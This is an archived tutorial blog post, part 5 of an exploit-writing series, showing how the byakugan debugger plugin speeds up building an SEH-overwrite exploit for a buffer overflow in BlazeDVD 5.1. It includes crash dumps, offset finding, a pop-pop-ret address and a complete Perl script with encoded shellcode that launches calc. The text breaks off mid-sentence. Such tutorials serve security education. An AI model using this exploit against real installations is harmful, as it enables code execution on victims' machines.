{"id":2229,"date":"2009-09-05T11:35:42","date_gmt":"2009-09-05T09:35:42","guid":{"rendered":"http:\/\/www.corelan.be:8800\/?p=2229"},"modified":"2026-03-23T07:19:43","modified_gmt":"2026-03-23T06:19:43","slug":"exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2009\/09\/05\/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development\/","title":{"rendered":"Exploit writing tutorial part 5 : How debugger modules &amp; plugins can speed up basic exploit development"},"content":{"rendered":"<p>In the first parts of this exploit writing tutorial, I have mainly used Windbg as a tool to watch registers and stack contents while evaluating crashes and building exploits. Today, I will discuss some other debuggers and debugger plugins that will help you speed up this process. A typical exploit writing toolkit arsenal should at least contain the following tools : <\/p>\n<ul>\n<li>windbg (for a list of Windbg commands, click <a href=\"http:\/\/windbg.info\/doc\/1-common-cmds.html\">here<\/a>)<\/li>\n<li><a href=\"http:\/\/www.ollydbg.de\/\" target=\"_blank\" rel=\"noopener\">ollydbg<\/a><\/li>\n<li>immunity debugger (requires python)<\/li>\n<li><a href=\"http:\/\/www.metasploit.com\/\" target=\"_blank\" rel=\"noopener\">metasploit<\/a><\/li>\n<li><a href=\"http:\/\/pedram.redhive.com\/PyDbg\/\" target=\"_blank\" rel=\"noopener\">pyDbg<\/a> (if you are using python and want to build your own custom debugger, as explained in the awesome <a href=\"http:\/\/www.amazon.com\/Gray-Hat-Python-Programming-Engineers\/dp\/1593271921\" target=\"_blank\" rel=\"noopener\">Gray Hay Python<\/a> book<\/li>\n<li>scripting tools such as perl \/ python, etc<\/li>\n<\/ul>\n<p> In the previous chapters, we have already played with windbg, and I have briefly discussed a windbg extension \/ plugin from Microsoft, which will evaluate crashes and will tell you if they think the crash is exploitable or not.\u00a0 This plugin (MSEC) can be downloaded from <a title=\"http:\/\/www.codeplex.com\/msecdbg\" href=\"http:\/\/www.codeplex.com\/msecdbg\">http:\/\/www.codeplex.com\/msecdbg<\/a>. While MSEC can be handy to give you a first impression, don\u2019t rely on it too much. It\u2019s always better to manually look at registers, stack values, and try to see if a vulnerability can lead to code execution or not. <\/p>\n<h3>Byakugan : introduction, pattern_offset and searchOpcode<\/h3>\n<p> Everybody knows that ollydbg has numerous plugins (I\u2019ll talk about these plugins later). Windbg also has a framework\/API for building plugins\/extension.\u00a0 MSEC was just one example\u2026\u00a0 Metasploit has built &amp; released their own windbg plugin <a href=\"http:\/\/blog.metasploit.com\/2008\/08\/byakugan-windbg-plugin-released.html\" target=\"_blank\" rel=\"noopener\">about a year ago<\/a>, called byakugan. Pre-compiled binaries for WIndows XP SP2, SP3, Vista and Windows 7 can be found in the framework3 folder (get latest trunk via svn), under\u00a0 \\external\\source\\byakugan\\bin Place byakugan.dll and injectsu.dll under the windbg application folder (not under winext !), and put detoured.dll under c:\\windows\\system32 What can you do with <span style=\"text-decoration: underline;\">byakugan.dll<\/span> ? <\/p>\n<ul>\n<li>jutsu : set of tools to track buffers in memory, determining what is controlled at crash time, and discover valid return addresses<\/li>\n<li>pattern_offset<\/li>\n<li>mushishi : framework for anti-debugging detection and defeating anti-debugging techniques<\/li>\n<li>tenketsu : vista heap emulator\/visualizer.<\/li>\n<\/ul>\n<p> <span style=\"text-decoration: underline;\">Injectsu.dll<\/span> handles hooking of API functions in the target process.\u00a0 It creates a back-channel-information-gathering-thread which connects to the debugger. <span style=\"text-decoration: underline;\">Detoured.dll<\/span> is a Microsoft Research hooking library, and handles trampoline code, keeps track of hooked functions and provides auto fix-ups on function trampolines. Today, I will only look at byakugan, more specifically the jutsu component (because I can use techniques explained in the first parts of this tutorial series to demonstrate the features of that component) and pattern_offset. You can load the byakugan module in windbg using the following command : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; <strong><span style=\"color: #ff0000;\">!load byakugan<\/span><\/strong> [Byakugan] Successfully loaded!<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> The jutsu component offers the following functions : <\/p>\n<ul>\n<li>identBuf \/ listBuf \/ rmBuf : find buffers (plain ascii, metasploit patterns, or data from file) in memory\u2026<\/li>\n<li>memDiff : compare data in memory with a pattern and mark the changes. This will help you determining whether e.g. shellcode has been changed\/corrupted in memory, whether certain \u2018bad characters\u2019 need to be excluded from shellcode, etc<\/li>\n<li>hunt<\/li>\n<li>findReturn : search for the addresses that point to a usable function to return to.<\/li>\n<li>searchOpcode : converts assembler instruction to opcode, AND it lists all executable opcode sequence addresses at the same time.<\/li>\n<li>searchVtptr<\/li>\n<li>trackVal<\/li>\n<\/ul>\n<p> In addition to jutsu, there\u2019s pattern_offset, which allows you to find a metasploit pattern in memory and shows the offset to eip In order to demonstrate how byakugan can speed up the exploit development process, we\u2019ll use a vulnerability found <a href=\"https:\/\/web.archive.org\/web\/20210123120317\/https:\/\/www.securityfocus.com\/bid\/35918\/info\" target=\"_blank\" rel=\"noopener\">in BlazeDVD 5.1 Professional\/Blaze HDTV Player 6.0<\/a>, where a malformed plf file leads to a stack buffer overflow. We\u2019ll try to build a working exploit with only one crash \ud83d\ude42 Get yourself a copy of BlazeDVD 5 Professional from <a title=\"http:\/\/www.blazevideo.com\/download.htm\" href=\"https:\/\/web.archive.org\/web\/20191107224515\/http:\/\/www.blazevideo.com:80\/download.htm\">http:\/\/www.blazevideo.com\/download.htm<\/a> A local copy of this vulnerable application can be downloaded here : <\/p>\n<blockquote><p>[download id=40]<\/p><\/blockquote>\n<p> Usually, we would start with building a payload that contains lots of A\u2019s. But this time we will use a metasploit pattern right away. Create a metasploit pattern that contains 1000 characters and save the pattern in a file (e.g. blazecrash.plf) : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">peter@sploitbuilder1 ~\/framework-3.2\/tools $ .\/pattern_create.rb 1000 &gt; blazecrash.plf<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Launch windbg, and execute blazedvd from within windbg. (This will make sure that, if the application crashes, windbg will catch it).\u00a0\u00a0 Push the application out of the breakpoint (you may have to press F5 a couple of times (about 27 times on my system) to launch the application).\u00a0 When blazeDVD is launched, open the plf file (which only contains the metasploit pattern). When the application dies, press F5 again. You should get something like this : <\/p>\n<pre class=\"csharpcode\">(5b0.894): Access violation(5b0.894): Access violation - code c0000005 (first chance) - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=77f6c19c ecx=062ddcd8 edx=00000042 esi=01f61c20 edi=6405569c eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0 nv up ei pl nz na pe nc<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --><!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Now it\u2019s time to use byakugan. Load the byakugan module and see if it can find the metasploit pattern somewhere : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; <strong><span style=\"color: #ff0000;\">!load byakugan<\/span><\/strong> [Byakugan] Successfully loaded! 0:000&gt; <strong><span style=\"color: #ff0000;\">!pattern_offset 1000<\/span><\/strong> [Byakugan] Control of ecx at <span style=\"color: #0000ff;\">offset<\/span> 612. [Byakugan] Control of eip at <span style=\"color: #0000ff;\">offset<\/span> 612.<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Cool. Not only have we validated the buffer overflow, but we alo know the offset, all in one run. It looks like we have overwritten RET\u2026\u00a0 but before concluding that this is a plain RET overwrite, always run !exchain, just to verify. <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; <strong><span style=\"color: #ff0000;\">!exchain<\/span><\/strong> 0012afe4: 0012afe4: ntdll!ExecuteHandler2+3a (7c9032bc) ntdll!ExecuteHandler2+3a (7c9032bc) 0012f5b8: 0012f5b8: &lt;Unloaded_ionInfo.dll&gt;+41347540 (41347541) &lt;Unloaded_ionInfo.dll&gt;+41347540 (41347541) Invalid exception stack at 33754132<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --><!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> It\u2019s SEH based. The offset shown (612) is the offset to nSEH. So in order to overwrite next SEH, we need to subtract 4 bytes to get the real offset. (= 608) We know that a typical SEH based exploit looks like this : [junk][jump][pop pop ret][shellcode] Let\u2019s find a pop pop ret, and we\u2019ll <\/p>\n<ul>\n<li>jump 30 bytes (instead of 6 bytes)<\/li>\n<li>start shellcode with nops (to compensate for the 30 byte jump)<\/li>\n<\/ul>\n<p> Find pop pop ret :\u00a0 You can still use findjmp, or you can use !jutsu searchOpcode. The only drawback with !jutsu searchOpcode is that you\u2019ll have to specify the registers (with findjmp, you\u2019ll get all pop pop ret combinations).\u00a0 But let\u2019s use searchOpcode anyway. We\u2019ll look for pop esi, pop ebx, ret <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; <strong><span style=\"color: #ff0000;\">!jutsu searchOpcode <span style=\"color: #0000ff;\">pop<\/span> esi | <span style=\"color: #0000ff;\">pop<\/span> ebx | ret<\/span><\/strong> [J] Searching for: &gt; <span style=\"color: #0000ff;\">pop<\/span> esi &gt; <span style=\"color: #0000ff;\">pop<\/span> ebx &gt; ret [J] Machine Code: &gt; 5e 5b c3 [J] Executable opcode sequence found at: 0x05942a99 [J] Executable opcode sequence found at: 0x05945425 [J] Executable opcode sequence found at: 0x05946a1e [J] Executable opcode sequence found at: 0x059686a0 [J] Executable opcode sequence found at: 0x05969d91 [J] Executable opcode sequence found at: 0x0596aaa6 [J] Executable opcode sequence found at: 0x1000467f [J] Executable opcode sequence found at: 0x100064c7 [J] Executable opcode sequence found at: 0x10008795 [J] Executable opcode sequence found at: 0x1000aa0b [J] Executable opcode sequence found at: 0x1000e662 [J] Executable opcode sequence found at: 0x1000e936 [J] Executable opcode sequence found at: 0x3d937a1d [J] Executable opcode sequence found at: 0x3d93adf5<\/pre>\n<p> &nbsp; <\/p>\n<pre class=\"csharpcode\">\u2026 (etc)<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Look for addresses in the address range of one of the executable modules \/ dll\u2019s from BlazeDVD. (you can get the list of executable modules with windbg\u2019s \u201clm\u201d command). On my system (XP SP3 En), addresses starting with 0x64 will work fine. We\u2019ll use 0x640246f7 <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; u 0x640246f7 MediaPlayerCtrl!DllCreateObject+0x153e7: 640246f7 5e <span style=\"color: #0000ff;\">pop<\/span> esi 640246f8 5b <span style=\"color: #0000ff;\">pop<\/span> ebx 640246f9 c3 ret<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Let\u2019s build our exploit : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\"><span style=\"color: #0000ff;\">my<\/span> $sploitfile=\"<span style=\"color: #8b0000;\">blazesploit.plf<\/span>\"; <span style=\"color: #0000ff;\">my<\/span> $junk = \"<span style=\"color: #8b0000;\">A<\/span>\" x 608; #612 - 4 <span style=\"color: #0000ff;\">my<\/span> $nseh = \"<span style=\"color: #8b0000;\">\\xeb\\x1e\\x90\\x90<\/span>\"; #jump 30 bytes <span style=\"color: #0000ff;\">my<\/span> $seh = <span style=\"color: #0000ff;\">pack<\/span>('V',0x640246f7); #<span style=\"color: #0000ff;\">pop<\/span> esi, <span style=\"color: #0000ff;\">pop<\/span> ebx, ret <span style=\"color: #0000ff;\">my<\/span> $nop = \"<span style=\"color: #8b0000;\">\\x90<\/span>\" x 30; #start with 30 nop's # windows\/<span style=\"color: #0000ff;\">exec<\/span> - 302 bytes # http:<span style=\"color: #008000;\">\/\/www.metasploit.com<\/span> # Encoder: x86\/alpha_upper # EXITFUNC=seh, CMD=calc <span style=\"color: #0000ff;\">my<\/span> $shellcode=\"<span style=\"color: #8b0000;\">\\x89\\xe3\\xdb\\xc2\\xd9\\x73\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>\" . \"<span style=\"color: #8b0000;\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>\" . \"<span style=\"color: #8b0000;\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>\" . \"<span style=\"color: #8b0000;\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x4b\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x51\\x54\\x43\\x30\\x45\\x50\\x45\\x50\\x4c\\x4b\\x47\\x35\\x47\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x43\\x31\\x4a\\x4f\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x45\\x51\\x4a\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x49\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x45\\x51\\x4a\\x4e\\x50\\x31<\/span>\" . \"<span style=\"color: #8b0000;\">\\x49\\x50\\x4c\\x59\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x44\\x34\\x45\\x57<\/span>\" . \"<span style=\"color: #8b0000;\">\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\\x4b\\x4b\\x44<\/span>\" . \"<span style=\"color: #8b0000;\">\\x47\\x4b\\x50\\x54\\x47\\x54\\x45\\x54\\x43\\x45\\x4a\\x45\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x51\\x4f\\x46\\x44\\x45\\x51\\x4a\\x4b\\x45\\x36\\x4c\\x4b\\x44\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x45\\x4c\\x4c\\x4b\\x43\\x31\\x4a\\x4b\\x4d\\x59\\x51\\x4c\\x46\\x44<\/span>\" . \"<span style=\"color: #8b0000;\">\\x43\\x34\\x49\\x53\\x51\\x4f\\x46\\x51\\x4b\\x46\\x43\\x50\\x46\\x36<\/span>\" . \"<span style=\"color: #8b0000;\">\\x45\\x34\\x4c\\x4b\\x50\\x46\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x4b\\x42\\x50\\x45\\x4c\\x4e\\x4d\\x4c\\x4b\\x42\\x48\\x43\\x38<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4b\\x39\\x4a\\x58\\x4d\\x53\\x49\\x50\\x43\\x5a\\x50\\x50\\x43\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x30\\x4d\\x5a\\x45\\x54\\x51\\x4f\\x42\\x48\\x4d\\x48\\x4b\\x4e<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4d\\x5a\\x44\\x4e\\x50\\x57\\x4b\\x4f\\x4b\\x57\\x43\\x53\\x43\\x51<\/span>\" . \"<span style=\"color: #8b0000;\">\\x42\\x4c\\x43\\x53\\x43\\x30\\x41\\x41<\/span>\"; $payload =$junk.$nseh.$seh.$nop.$shellcode; <span style=\"color: #0000ff;\">open<\/span> ($FILE,\"<span style=\"color: #8b0000;\">&gt;$sploitfile<\/span>\"); <span style=\"color: #0000ff;\">print<\/span> $FILE $payload; <span style=\"color: #0000ff;\">close<\/span>($FILE);<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Try it - works fine on my system. This was a pretty straigthforward example.. and perhaps we got lucky this time, because there are a number of drawbacks when building an exploit almost blindly, purely based on the output of the byakugan features : <\/p>\n<ul>\n<li>we don\u2019t know if the address used for the pop pop ret is in a module that is compiled with safeseh.\u00a0 I have spoken with Lurene Grenier (who has written byakugan) and this is one of the features on the to do list.\u00a0 (Lurene also mentioned that she will try to build in aslr awareness and some kind of wildcard\/exclusion support)<\/li>\n<li>we did not validate the shellcode placement (but by jumping 30 bytes and using nop\u2019s, we have increased our chances slightly)<\/li>\n<li>if the exploit doesn\u2019t work (because of shellcode corruption or small buffers), we\u2019ll have to do the work all over again, manually this time.<\/li>\n<\/ul>\n<p> But still, if it works, then you have saved yourself a lot of time <\/p>\n<h3>Byakugan : memDiff<\/h3>\n<p> Let\u2019s use the same vulnerability\/exploit to discuss some of the other features of byakugan. We\u2019ll use the same sploit, but instead of doing the jump (0xeb,0x1e), we\u2019ll put in 2 breakpoints (0xcc,0xcc), so we can observe if our original shellcode matches with what we have put in memory (so we can identify shellcode corruption and possible bad characters). First, we will simply compare the shellcode in memory with the original shellcode, and, to demonstrate the diff functionalities, we\u2019ll modify the shellcode (so we can see the differences) We need to put the shellcode in a text file (not in ascii, but write the bytes\/binary to the text file) : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\"><span style=\"color: #0000ff;\">my<\/span> $shellcode=\"<span style=\"color: #8b0000;\">\\x89\\xe3\\xdb\\xc2\\xd9\\x73\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>\" . \"<span style=\"color: #8b0000;\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>\" . \"<span style=\"color: #8b0000;\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>\" . \"<span style=\"color: #8b0000;\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x4b\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x51\\x54\\x43\\x30\\x45\\x50\\x45\\x50\\x4c\\x4b\\x47\\x35\\x47\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x43\\x31\\x4a\\x4f\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x45\\x51\\x4a\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x49\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x45\\x51\\x4a\\x4e\\x50\\x31<\/span>\" . \"<span style=\"color: #8b0000;\">\\x49\\x50\\x4c\\x59\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x44\\x34\\x45\\x57<\/span>\" . \"<span style=\"color: #8b0000;\">\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\\x4b\\x4b\\x44<\/span>\" . \"<span style=\"color: #8b0000;\">\\x47\\x4b\\x50\\x54\\x47\\x54\\x45\\x54\\x43\\x45\\x4a\\x45\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x51\\x4f\\x46\\x44\\x45\\x51\\x4a\\x4b\\x45\\x36\\x4c\\x4b\\x44\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x45\\x4c\\x4c\\x4b\\x43\\x31\\x4a\\x4b\\x4d\\x59\\x51\\x4c\\x46\\x44<\/span>\" . \"<span style=\"color: #8b0000;\">\\x43\\x34\\x49\\x53\\x51\\x4f\\x46\\x51\\x4b\\x46\\x43\\x50\\x46\\x36<\/span>\" . \"<span style=\"color: #8b0000;\">\\x45\\x34\\x4c\\x4b\\x50\\x46\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x4b\\x42\\x50\\x45\\x4c\\x4e\\x4d\\x4c\\x4b\\x42\\x48\\x43\\x38<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4b\\x39\\x4a\\x58\\x4d\\x53\\x49\\x50\\x43\\x5a\\x50\\x50\\x43\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x30\\x4d\\x5a\\x45\\x54\\x51\\x4f\\x42\\x48\\x4d\\x48\\x4b\\x4e<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4d\\x5a\\x44\\x4e\\x50\\x57\\x4b\\x4f\\x4b\\x57\\x43\\x53\\x43\\x51<\/span>\" . \"<span style=\"color: #8b0000;\">\\x42\\x4c\\x43\\x53\\x43\\x30\\x41\\x41<\/span>\"; <span style=\"color: #0000ff;\">open<\/span> ($FILE2,\"<span style=\"color: #8b0000;\">&gt;shell.txt<\/span>\"); <span style=\"color: #0000ff;\">print<\/span> $FILE2 $shellcode; <span style=\"color: #0000ff;\">close<\/span>($FILE2);<\/pre>\n<p> Open windbg, run the executable and open the newly created exploit file. When the application dies, give it a F5 so it would step over the first chance exception. The application now stops at our breakpoints, as expected <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">(744.7a8): Break instruction exception(744.7a8): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000 eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 &lt;Unloaded_ionInfo.dll&gt;+0x12f5b7: 0012f5b8 cc <span style=\"color: #0000ff;\">int<\/span> 3<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Dump eip to get the address where the shellcode starts : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; d eip 0012f5b8 cc cc 90 90 f7 46 02 64-90 90 90 90 90 90 90 90 .....F.d........ 0012f5c8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012f5d8 90 90 90 90 90 90 89 e3-db c2 d9 73 f4 59 49 49 ...........s.YII 0012f5e8 49 49 49 43 43 43 43 43-43 51 5a 56 54 58 33 30 IIICCCCCCQZVTX30 0012f5f8 56 58 34 41 50 30 41 33-48 48 30 41 30 30 41 42 VX4AP0A3HH0A00AB 0012f608 41 41 42 54 41 41 51 32-41 42 32 42 42 30 42 42 AABTAAQ2AB2BB0BB 0012f618 58 50 38 41 43 4a 4a 49-4b 4c 4b 58 51 54 43 30 XP8ACJJIKLKXQTC0 0012f628 bb 50 bb 50 4c 4b 47 35-47 4c 4c 4b 43 4c 43 35 .P.PLKG5GLLKCLC5<\/pre>\n<p> Shellcode starts at 0x0012f5de. Let\u2019s run jutsu &nbsp; 